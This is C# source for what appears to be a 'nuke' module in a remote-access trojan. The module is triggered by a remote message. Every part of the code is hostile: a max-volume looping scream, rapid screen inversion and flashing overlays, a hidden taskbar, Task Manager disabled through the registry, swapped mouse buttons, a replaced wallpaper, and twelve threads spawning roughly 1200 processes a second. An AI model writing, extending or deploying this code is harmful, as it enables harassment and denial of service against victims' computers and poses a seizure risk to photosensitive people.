private static RAMP BuildRamp(bool inv)
|
||
|
|
{
|
||
|
|
var r = new RAMP { R = new ushort[256], G = new ushort[256], B = new ushort[256] };
|
||
|
|
for (int i = 0; i < 256; i++) { ushort v = (ushort)(inv ? (255-i)*257 : i*257); r.R[i] = r.G[i] = r.B[i] = v; }
|
||
|
|
return r;
|
||
|
|
}
|
||
|
|
private static RAMP _invertRamp = BuildRamp(true);
|
||
|
|
private static RAMP _normalRamp = BuildRamp(false);
|
||
|
|
|
||
|
|
// ── State ────────────────────────────────────────────────────────────
|
||
|
|
private volatile bool _running;
|
||
|
|
private Thread _flashThread;
|
||
|
|
private Thread _overlayThread;
|
||
|
|
private TrollOverlay _overlay;
|
||
|
|
private string _screamTmp;
|
||
|
|
private string _wallTmp;
|
||
|
|
private RAMP _savedRamp;
|
||
|
|
private bool _colorFilterActive;
|
||
|
|
private readonly List<Thread> _spawnThreads = new List<Thread>();
|
||
|
|
|
||
|
|
// ── IMessageProcessor ────────────────────────────────────────────────
|
||
|
|
public bool CanExecute(IMessage message) => message is DoNuke || message is DoStopNuke;
|
||
|
|
public bool CanExecuteFrom(ISender sender) => true;
|
||
|
|
public void Execute(ISender sender, IMessage message)
|
||
|
|
{
|
||
|
|
if (message is DoNuke) Start();
|
||
|
|
else if (message is DoStopNuke) Stop();
|
||
|
|
}
|
||
|
|
|
||
|
|
// ── Color filter toggle (Win+Ctrl+C) ─────────────────────────────────
|
||
|
|
private void SetupColorFilter()
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\ColorFiltering", "FilterType", 1, RegistryValueKind.DWord);
|
||
|
|
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\ColorFiltering", "HotkeyEnabled", 1, RegistryValueKind.DWord);
|
||
|
|
var cur = Registry.GetValue(@"HKEY_CURRENT_USER\Software\Microsoft\ColorFiltering", "Active", 0);
|
||
|
|
_colorFilterActive = cur is int ci && ci == 1;
|
||
|
|
if (_colorFilterActive) SendColorFilterToggle();
|
||
|
|
}
|
||
|
|
catch { }
|
||
|
|
}
|
||
|
|
private void SendColorFilterToggle()
|
||
|
|
{
|
||
|
|
var inp = new INPUT[6];
|
||
|
|
inp[0].type = 1; inp[0].ki.wVk = 0xA2;
|
||
|
|
inp[1].type = 1; inp[1].ki.wVk = 0x5B; inp[1].ki.dwFlags = KEYEVENTF_EXTENDEDKEY;
|
||
|
|
inp[2].type = 1; inp[2].ki.wVk = 0x43;
|
||
|
|
inp[3].type = 1; inp[3].ki.wVk = 0x43; inp[3].ki.dwFlags = KEYEVENTF_KEYUP;
|
||
|
|
inp[4].type = 1; inp[4].ki.wVk = 0x5B; inp[4].ki.dwFlags = KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP;
|
||
|
|
inp[5].type = 1; inp[5].ki.wVk = 0xA2; inp[5].ki.dwFlags = KEYEVENTF_KEYUP;
|
||
|
|
SendInput(6, inp, Marshal.SizeOf(typeof(INPUT)));
|
||
|
|
_colorFilterActive = !_colorFilterActive;
|
||
|
|
}
|
||
|
|
private void EnsureColorFilterOff() { if (_colorFilterActive) { SendColorFilterToggle(); Thread.Sleep(80); } }
|
||
|
|
|
||
|
|
// ── Start ────────────────────────────────────────────────────────────
|
||
|
|
private void Start()
|
||
|
|
{
|
||
|
|
if (_running) return;
|
||
|
|
_running = true;
|
||
|
|
|
||
|
|
// Save gamma
|
||
|
|
IntPtr hdc0 = GetDC(IntPtr.Zero);
|
||
|
|
GetDeviceGammaRamp(hdc0, ref _savedRamp);
|
||
|
|
ReleaseDC(IntPtr.Zero, hdc0);
|
||
|
|
|
||
|
|
SetupColorFilter();
|
||
|
|
|
||
|
|
// Scream at max volume
|
||
|
|
waveOutSetVolume(IntPtr.Zero, 0xFFFFFFFF);
|
||
|
|
_screamTmp = Path.Combine(Path.GetTempPath(), "nk_scream.wav");
|
||
|
|
File.WriteAllBytes(_screamTmp, ScreamBytes);
|
||
|
|
PlaySound(_screamTmp, IntPtr.Zero, SND_FILENAME | SND_ASYNC | SND_LOOP);
|
||
|
|
|
||
|
|
// Overlay
|
||
|
|
_overlayThread = new Thread(() =>
|
||
|
|
{
|
||
|
|
while (_running)
|
||
|
|
{
|
||
|
|
try { Application.Run(_overlay = new TrollOverlay(TrollfaceBytes, ThinkFastBytes)); } catch { }
|
||
|
|
if (_running) Thread.Sleep(100);
|
||
|
|
}
|
||
|
|
}) { IsBackground = true };
|
||
|
|
_overlayThread.SetApartmentState(ApartmentState.STA);
|
||
|
|
_overlayThread.Start();
|
||
|
|
|
||
|
|
// Wallpaper
|
||
|
|
ThreadPool.QueueUserWorkItem(_ => SetTrollfaceWallpaper());
|
||
|
|
|
||
|
|
// System chaos setup
|
||
|
|
IntPtr tb = FindWindow("Shell_TrayWnd", null);
|
||
|
|
if (tb != IntPtr.Zero) ShowWindow(tb, SW_HIDE);
|
||
|
|
try { Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", 1, RegistryValueKind.DWord); } catch { }
|
||
|
|
SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 1, IntPtr.Zero, SPIF_SENDCHANGE);
|
||
|
|
SystemParametersInfo(SPI_SETMOUSESPEED, 0, (IntPtr)20, SPIF_SENDCHANGE);
|
||
|
|
SetChaosColors();
|
||
|
|
mciSendString("set cdaudio door open", null, 0, IntPtr.Zero);
|
||
|
|
|
||
|
|
// ── App spam: 12 dedicated threads, no mercy ─────────────────────
|
||
|
|
// Mix of exe and uri launchers, each thread uses a different pattern
|
||
|
|
// so they hit different subsystems simultaneously
|
||
|
|
lock (_spawnThreads)
|
||
|
|
{
|
||
|
|
for (int t = 0; t < 12; t++)
|
||
|
|
{
|
||
|
|
int tid = t;
|
||
|
|
var thread = new Thread(() => AppSpawnLoop(tid)) { IsBackground = true };
|
||
|
|
_spawnThreads.Add(thread);
|
||
|
|
thread.Start();
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
// Flash/invert thread runs separately
|
||
|
|
_flashThread = new Thread(FlashLoop) { IsBackground = true };
|
||
|
|
_flashThread.Start();
|
||
|
|
}
|
||
|
|
|
||
|
|
// ── Stop ─────────────────────────────────────────────────────────────
|
||
|
|
private void Stop()
|
||
|
|
{
|
||
|
|
_running = false;
|
||
|
|
|
||
|
|
IntPtr hdc = GetDC(IntPtr.Zero);
|
||
|
|
SetDeviceGammaRamp(hdc, ref _savedRamp);
|
||
|
|
ReleaseDC(IntPtr.Zero, hdc);
|
||
|
|
EnsureColorFilterOff();
|
||
|
|
|
||
|
|
PlaySound(null, IntPtr.Zero, SND_PURGE);
|
||
|
|
try { if (_screamTmp != null) File.Delete(_screamTmp); } catch { }
|
||
|
|
|
||
|
|
IntPtr tb = FindWindow("Shell_TrayWnd", null);
|
||
|
|
if (tb != IntPtr.Zero) ShowWindow(tb, SW_SHOW);
|
||
|
|
try { Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", 0, RegistryValueKind.DWord); } catch { }
|
||
|
|
SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 0, IntPtr.Zero, SPIF_SENDCHANGE);
|
||
|
|
SystemParametersInfo(SPI_SETMOUSESPEED, 0, (IntPtr)10, SPIF_SENDCHANGE);
|
||
|
|
|
||
|
|
var ov = _overlay;
|
||
|
|
if (ov != null && !ov.IsDisposed && ov.IsHandleCreated)
|
||
|
|
try { ov.Invoke(new Action(() => ov.Close())); } catch { }
|
||
|
|
|
||
|
|
lock (_spawnThreads) _spawnThreads.Clear();
|
||
|
|
try { if (_wallTmp != null && File.Exists(_wallTmp)) File.Delete(_wallTmp); } catch { }
|
||
|
|
}
|
||
|
|
|
||
|
|
// ── App spam loop ─────────────────────────────────────────────────────
|
||
|
|
// Each thread gets a staggered starting index so they hit different apps
|
||
|
|
// and don't all contend on the same process image at the same time.
|
||
|
|
private void AppSpawnLoop(int threadId)
|
||
|
|
{
|
||
|
|
int exeIdx = threadId % _exeApps.Length;
|
||
|
|
int uriIdx = threadId % _uriApps.Length;
|
||
|
|
bool preferUri = (threadId % 3 == 0); // every 3rd thread hammers URIs
|
||
|
|
|
||
|
|
while (_running)
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
if (preferUri)
|
||
|
|
{
|
||
|
|
Process.Start(new ProcessStartInfo
|
||
|
|
{
|
||
|
|
FileName = _uriApps[uriIdx % _uriApps.Length],
|
||
|
|
UseShellExecute = true
|
||
|
|
});
|
||
|
|
uriIdx++;
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
Process.Start(_exeApps[exeIdx % _exeApps.Length]);
|
||
|
|
exeIdx++;
|
||
|
|
// Also sprinkle URIs every 5 exe launches
|
||
|
|
if (exeIdx % 5 == 0)
|
||
|
|
{
|
||
|
|
Process.Start(new ProcessStartInfo
|
||
|
|
{
|
||
|
|
FileName = _uriApps[uriIdx % _uriApps.Length],
|
||
|
|
UseShellExecute = true
|
||
|
|
});
|
||
|
|
uriIdx++;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
catch { }
|
||
|
|
// Tiny yield to avoid 100% CPU on this thread alone;
|
||
|
|
// 12 threads at 10ms each still spawns ~1200 processes/sec
|
||
|
|
Thread.Sleep(10);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
// ── Flash / invert loop ───────────────────────────────────────────────
|
||
|
|
private void FlashLoop()
|
||
|
|
{
|
||
|
|
var rng = new Random();
|
||
|
|
var lastJumpscare = DateTime.MinValue;
|
||
|
|
while (_running)
|
||
|
|
{
|
||
|
|
// Color filter invert ON
|
||
|
|
SendColorFilterToggle();
|
||
|
|
Thread.Sleep(180);
|
||
|
|
// Color filter invert OFF
|
||
|
|
SendColorFilterToggle();
|
||
|
|
Thread.Sleep(80);
|
||
|
|
|
||
|
|
// Gamma ramp as secondary
|
||
|
|
ApplyGamma(ref _invertRamp);
|
||
|
|
Thread.Sleep(55);
|
||
|
|
ApplyGamma(ref _normalRamp);
|
||
|
|
Thread.Sleep(55);
|
||
|
|
|
||
|
|
// Jumpscare every 2s
|
||
|
|
if ((DateTime.UtcNow - lastJumpscare).TotalSeconds >= 2.0)
|
||
|
|
{
|
||
|
|
ThreadPool.QueueUserWorkItem(_ => DoJumpscare());
|
||
|
|
lastJumpscare = DateTime.UtcNow;
|
||
|
|
}
|
||
|
|
|
||
|
|
// Window shake
|
||
|
|
ShakeWindows(rng);
|
||
|
|
|
||
|
|
// Cursor teleport
|
||
|
|
SetCursorPos(rng.Next(GetSystemMetrics(SM_CXSCREEN)), rng.Next(GetSystemMetrics(SM_CYSCREEN)));
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
[DllImport("user32.dll")] static extern bool SetCursorPos(int x, int y);
|
||
|
|
|
||
|
|
private void ApplyGamma(ref RAMP ramp)
|
||
|
|
{
|
||
|
|
IntPtr hdc = GetDC(IntPtr.Zero);
|
||
|
|
SetDeviceGammaRamp(hdc, ref ramp);
|
||
|
|
ReleaseDC(IntPtr.Zero, hdc);
|
||
|
|
}
|
||
|
|
|
||
|
|
private void DoJumpscare()
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
var t = new Thread(() =>
|
||
|
|
{
|
||
|
|
var f = new Form { BackColor = Color.White, FormBorderStyle = FormBorderStyle.None,
|
||
|
|
TopMost = true, ShowInTaskbar = false, WindowState = FormWindowState.Maximized, Opacity = 1.0 };
|
||
|
|
f.Show();
|
||
|
|
Thread.Sleep(200);
|
||
|
|
try { f.Invoke(new Action(() => f.Close())); } catch { }
|
||
|
|
}) { IsBackground = true };
|
||
|
|
t.SetApartmentState(ApartmentState.STA);
|
||
|
|
t.Start();
|
||
|
|
}
|
||
|
|
catch { }
|
||
|
|
}
|
||
|
|
|
||
|
|
private void SetTrollfaceWallpaper()
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
int sw = GetSystemMetrics(SM_CXSCREEN), sh = GetSystemMetrics(SM_CYSCREEN);
|
||
|
|
using (var face = Image.FromStream(new MemoryStream(TrollfaceBytes)))
|
||
|
|
using (var bmp = new Bitmap(sw, sh))
|
||
|
|
using (var g = Graphics.FromImage(bmp))
|
||
|
|
{
|
||
|
|
g.Clear(Color.Black);
|
||
|
|
for (int x = 0; x < sw; x += 150)
|
||
|
|
for (int y = 0; y < sh; y += 150)
|
||
|
|
g.DrawImage(face, x, y, 140, 140);
|
||
|
|
_wallTmp = Path.Combine(Path.GetTempPath(), "nk_wall.bmp");
|
||
|
|
bmp.Save(_wallTmp, ImageFormat.Bmp);
|
||
|
|
}
|
||
|
|
SystemParametersInfoStr(SPI_SETDESKWALLPAPER, 0, _wallTmp, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
|
||
|
|
}
|
||
|
|
catch { }
|
||
|
|
}
|
||
|
|
|
||
|
|
private void SetChaosColors()
|
||
|
|
{
|
||
|
|
int[] e = { 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 };
|
||
|
|
uint[] c = { 0x00FF00,0xFF00FF,0xFF0000,0x00FFFF,0x00FF00,0xFF00FF,0xFF0000,0x00FFFF,
|
||
|
|
0xFF00FF,0x00FF00,0xFF0000,0x00FFFF,0xFF00FF,0x00FF00,0x00FFFF,0xFF0000,
|
||
|
|
0x00FF00,0xFF00FF,0x00FFFF,0xFF0000,0x00FF00,0xFF00FF };
|
||
|
|
SetSysColors(e.Length, e, c);
|
||
|
|
}
|
||
|
|
|
||
|
|
private void ShakeWindows(Random rng)
|
||
|
|
{
|
||
|
|
var wins = new List<Tuple<IntPtr,int,int>>();
|
||
|
|
EnumWindows((h, _) =>
|
||
|
|
{
|
||
|
|
if (!IsWindowVisible(h)) return true;
|
||
|
|
int s = GetWindowLong(h, GWL_STYLE);
|
||
|
|
if ((s & WS_MAXIMIZE) != 0 || (s & WS_MINIMIZE) != 0) return true;
|
||
|
|
RECT r; if (GetWindowRect(h, out r)) wins.Add(Tuple.Create(h, r.Left, r.Top));
|
||
|
|
return true;
|
||
|
|
}, IntPtr.Zero);
|
||
|
|
const uint f = SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE;
|
||
|
|
int dx = rng.Next(-40,40), dy = rng.Next(-40,40);
|
||
|
|
foreach (var w in wins) SetWindowPos(w.Item1, IntPtr.Zero, w.Item2+dx, w.Item3+dy, 0, 0, f);
|
||
|
|
Thread.Sleep(25);
|
||
|
|
foreach (var w in wins) SetWindowPos(w.Item1, IntPtr.Zero, w.Item2, w.Item3, 0, 0, f);
|
||
|
|
}
|
||
|
|
|
||
|
|
public void Dispose() => Stop();
|
||
|
|
|
||
|
|
// ── Overlay ──────────────────────────────────────────────────────────
|
||
|
|
private class TrollOverlay : Form
|
||
|
|
{
|
||
|
|
private readonly System.Windows.Forms.Timer _timer;
|
||
|
|
private readonly PictureBox _gifBox;
|
||
|
|
private readonly PictureBox _trollBox;
|
||
|
|
private readonly Image _gifImage;
|
||
|
|
private int _phase;
|
||
|
|
|
||
|
|
[DllImport("user32.dll")]
|
||
|
|
static extern bool SetWindowPos(IntPtr h, IntPtr a, int x, int y, int cx, int cy, uint f);
|
||
|
|
|
||
|
|
public TrollOverlay(byte[] trollBytes, byte[] gifBytes)
|
||
|
|
{
|
||
|
|
FormBorderStyle = FormBorderStyle.None;
|
||
|
|
TopMost = true;
|
||
|
|
ShowInTaskbar = false;
|
||
|
|
WindowState = FormWindowState.Maximized;
|
||
|
|
BackColor = Color.White;
|
||
|
|
// Opacity must stay 1.0 — fractional opacity breaks GIF animation in WinForms
|
||
|
|
|
||
|
|
_gifImage = Image.FromStream(new MemoryStream(gifBytes));
|
||
|
|
ImageAnimator.Animate(_gifImage, OnGifFrame);
|
||
|
|
|
||
|
|
_gifBox = new PictureBox { Dock = DockStyle.Fill, SizeMode = PictureBoxSizeMode.StretchImage,
|
||
|
|
BackColor = Color.Black, Image = _gifImage, Visible = false };
|
||
|
|
_trollBox = new PictureBox { Dock = DockStyle.Fill, SizeMode = PictureBoxSizeMode.Zoom,
|
||
|
|
BackColor = Color.Black, Image = Image.FromStream(new MemoryStream(trollBytes)), Visible = false };
|
||
|
|
Controls.Add(_trollBox);
|
||
|
|
Controls.Add(_gifBox);
|
||
|
|
|
||
|
|
_timer = new System.Windows.Forms.Timer { Interval = 80 };
|
||
|
|
_timer.Tick += OnTick;
|
||
|
|
_timer.Start();
|
||
|
|
}
|
||
|
|
|
||
|
|
private void OnGifFrame(object sender, EventArgs e)
|
||
|
|
{
|
||
|
|
ImageAnimator.UpdateFrames(_gifImage);
|
||
|
|
if (!IsDisposed && IsHandleCreated)
|
||
|
|
try { Invoke(new Action(() => _gifBox.Invalidate())); } catch { }
|
||
|
|
}
|
||
|
|
|
||
|
|
private void OnTick(object sender, EventArgs e)
|
||
|
|
{
|
||
|
|
switch (_phase % 8)
|
||
|
|
{
|
||
|
|
case 0: case 2: case 4:
|
||
|
|
_gifBox.Visible = false; _trollBox.Visible = false; BackColor = Color.White; break;
|
||
|
|
case 6:
|
||
|
|
_gifBox.Visible = false; _trollBox.Visible = false; BackColor = Color.Black; break;
|
||
|
|
case 1: case 5:
|
||
|
|
BackColor = Color.Black; _gifBox.Visible = false; _trollBox.Visible = true; break;
|
||
|
|
case 3: case 7:
|
||
|
|
BackColor = Color.Black; _trollBox.Visible = false; _gifBox.Visible = true; break;
|
||
|
|
}
|
||
|
|
_phase++;
|
||
|
|
SetWindowPos(Handle, (IntPtr)(-1), 0, 0, 0, 0, 0x0001 | 0x0002 | 0x0010);
|
||
|
|
}
|
||
|
|
|
||
|
|
protected override void OnFormClosed(FormClosedEventArgs e)
|
||
|
|
{
|
||
|
|
_timer.Stop(); _timer.Dispose();
|
||
|
|
ImageAnimator.StopAnimate(_gifImage, OnGifFrame);
|
||
|
|
_gifImage.Dispose();
|
||
|
|
_trollBox.Image?.Dispose();
|
||
|
|
base.OnFormClosed(e);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|